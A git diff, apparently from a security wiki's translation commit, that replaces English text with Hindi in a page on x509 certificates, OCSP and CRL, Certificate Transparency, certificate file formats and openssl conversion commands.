# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **OCSP और CRL वितरण बिंदुओं के बीच का अंतर**
|
||||
|
||||
### **Difference between OCSP and CRL Distribution Points**
|
||||
**OCSP** (**RFC 2560**) में एक क्लाइंट और एक रिस्पॉन्डर मिलकर काम करते हैं यह जांचने के लिए कि क्या एक डिजिटल सार्वजनिक कुंजी प्रमाणपत्र को रद्द किया गया है, बिना पूर्ण **CRL** डाउनलोड किए। यह विधि पारंपरिक **CRL** की तुलना में अधिक कुशल है, जो रद्द किए गए प्रमाणपत्रों के अनुक्रमणिका नंबरों की एक सूची प्रदान करती है लेकिन एक संभावित बड़े फ़ाइल को डाउनलोड करने की आवश्यकता होती है। CRLs में 512 प्रविष्टियाँ तक हो सकती हैं। अधिक विवरण [यहाँ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) उपलब्ध हैं।
|
||||
|
||||
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
### **प्रमाणपत्र पारदर्शिता क्या है**
|
||||
|
||||
### **What is Certificate Transparency**
|
||||
प्रमाणपत्र पारदर्शिता प्रमाणपत्र से संबंधित खतरों से लड़ने में मदद करती है यह सुनिश्चित करके कि SSL प्रमाणपत्रों का जारी होना और अस्तित्व डोमेन मालिकों, CAs, और उपयोगकर्ताओं के लिए दृश्य है। इसके उद्देश्य हैं:
|
||||
|
||||
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
|
||||
- CAs को डोमेन मालिक की जानकारी के बिना एक डोमेन के लिए SSL प्रमाणपत्र जारी करने से रोकना।
|
||||
- गलती से या दुर्भावनापूर्ण तरीके से जारी किए गए प्रमाणपत्रों को ट्रैक करने के लिए एक खुला ऑडिटिंग सिस्टम स्थापित करना।
|
||||
- उपयोगकर्ताओं को धोखाधड़ी वाले प्रमाणपत्रों से सुरक्षित रखना।
|
||||
|
||||
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
|
||||
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
|
||||
- Safeguarding users against fraudulent certificates.
|
||||
#### **प्रमाणपत्र लॉग**
|
||||
|
||||
#### **Certificate Logs**
|
||||
प्रमाणपत्र लॉग सार्वजनिक रूप से ऑडिट करने योग्य, केवल जोड़ने वाले रिकॉर्ड होते हैं, जो नेटवर्क सेवाओं द्वारा बनाए रखे जाते हैं। ये लॉग ऑडिटिंग उद्देश्यों के लिए क्रिप्टोग्राफिक प्रमाण प्रदान करते हैं। जारी करने वाली प्राधिकरण और जनता दोनों इन लॉग में प्रमाणपत्र जमा कर सकते हैं या सत्यापन के लिए उन्हें क्वेरी कर सकते हैं। जबकि लॉग सर्वरों की सटीक संख्या निश्चित नहीं है, यह अपेक्षित है कि यह वैश्विक स्तर पर एक हजार से कम हो। ये सर्वर CAs, ISPs, या किसी भी इच्छुक इकाई द्वारा स्वतंत्र रूप से प्रबंधित किए जा सकते हैं।
|
||||
|
||||
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
|
||||
#### **क्वेरी**
|
||||
|
||||
#### **Query**
|
||||
किसी भी डोमेन के लिए प्रमाणपत्र पारदर्शिता लॉग का अन्वेषण करने के लिए, [https://crt.sh/](https://crt.sh) पर जाएँ।
|
||||
|
||||
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
|
||||
प्रमाणपत्रों को संग्रहीत करने के लिए विभिन्न प्रारूप मौजूद हैं, प्रत्येक के अपने उपयोग के मामले और संगतता होती है। यह सारांश मुख्य प्रारूपों को कवर करता है और उनके बीच रूपांतरण के लिए मार्गदर्शन प्रदान करता है।
|
||||
|
||||
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
|
||||
## **प्रारूप**
|
||||
|
||||
## **Formats**
|
||||
### **PEM प्रारूप**
|
||||
|
||||
### **PEM Format**
|
||||
- प्रमाणपत्रों के लिए सबसे व्यापक रूप से उपयोग किया जाने वाला प्रारूप।
|
||||
- प्रमाणपत्रों और निजी कुंजियों के लिए अलग फ़ाइलों की आवश्यकता होती है, जो Base64 ASCII में एन्कोडेड होती हैं।
|
||||
- सामान्य एक्सटेंशन: .cer, .crt, .pem, .key।
|
||||
- मुख्य रूप से Apache और समान सर्वरों द्वारा उपयोग किया जाता है।
|
||||
|
||||
- Most widely used format for certificates.
|
||||
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
|
||||
- Common extensions: .cer, .crt, .pem, .key.
|
||||
- Primarily used by Apache and similar servers.
|
||||
### **DER प्रारूप**
|
||||
|
||||
### **DER Format**
|
||||
- प्रमाणपत्रों का एक बाइनरी प्रारूप।
|
||||
- PEM फ़ाइलों में पाए जाने वाले "BEGIN/END CERTIFICATE" बयानों की कमी है।
|
||||
- सामान्य एक्सटेंशन: .cer, .der।
|
||||
- अक्सर Java प्लेटफार्मों के साथ उपयोग किया जाता है।
|
||||
|
||||
- A binary format of certificates.
|
||||
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
|
||||
- Common extensions: .cer, .der.
|
||||
- Often used with Java platforms.
|
||||
### **P7B/PKCS#7 प्रारूप**
|
||||
|
||||
### **P7B/PKCS#7 Format**
|
||||
- Base64 ASCII में संग्रहीत, एक्सटेंशन .p7b या .p7c के साथ।
|
||||
- केवल प्रमाणपत्र और श्रृंखला प्रमाणपत्र होते हैं, निजी कुंजी को छोड़कर।
|
||||
- Microsoft Windows और Java Tomcat द्वारा समर्थित।
|
||||
|
||||
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
|
||||
- Contains only certificates and chain certificates, excluding the private key.
|
||||
- Supported by Microsoft Windows and Java Tomcat.
|
||||
### **PFX/P12/PKCS#12 प्रारूप**
|
||||
|
||||
### **PFX/P12/PKCS#12 Format**
|
||||
- एक बाइनरी प्रारूप जो सर्वर प्रमाणपत्रों, मध्यवर्ती प्रमाणपत्रों, और निजी कुंजियों को एक फ़ाइल में संलग्न करता है।
|
||||
- एक्सटेंशन: .pfx, .p12।
|
||||
- मुख्य रूप से Windows पर प्रमाणपत्र आयात और निर्यात के लिए उपयोग किया जाता है।
|
||||
|
||||
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
|
||||
- Extensions: .pfx, .p12.
|
||||
- Mainly used on Windows for certificate import and export.
|
||||
### **प्रारूपों का रूपांतरण**
|
||||
|
||||
### **Converting Formats**
|
||||
|
||||
**PEM conversions** are essential for compatibility:
|
||||
|
||||
- **x509 to PEM**
|
||||
**PEM रूपांतरण** संगतता के लिए आवश्यक हैं:
|
||||
|
||||
- **x509 से PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PEM to DER**
|
||||
|
||||
- **PEM से DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
|
||||
- **DER to PEM**
|
||||
|
||||
- **DER से PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PEM to P7B**
|
||||
|
||||
- **PEM से P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
|
||||
- **PKCS7 to PEM**
|
||||
|
||||
- **PKCS7 से PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX रूपांतरण** विंडोज़ पर प्रमाणपत्रों का प्रबंधन करने के लिए महत्वपूर्ण हैं:
|
||||
|
||||
**PFX conversions** are crucial for managing certificates on Windows:
|
||||
|
||||
- **PFX to PEM**
|
||||
|
||||
- **PFX से PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
|
||||
- **PFX to PKCS#8** involves two steps:
|
||||
1. Convert PFX to PEM
|
||||
|
||||
- **PFX से PKCS#8** में दो चरण शामिल हैं:
|
||||
1. PFX को PEM में परिवर्तित करें
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
|
||||
2. Convert PEM to PKCS8
|
||||
|
||||
2. PEM को PKCS8 में परिवर्तित करें
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
|
||||
- **P7B to PFX** also requires two commands:
|
||||
1. Convert P7B to CER
|
||||
|
||||
- **P7B to PFX** के लिए भी दो कमांड की आवश्यकता होती है:
|
||||
1. P7B को CER में परिवर्तित करें
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
|
||||
2. Convert CER and Private Key to PFX
|
||||
|
||||
2. CER और प्राइवेट की को PFX में परिवर्तित करें
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user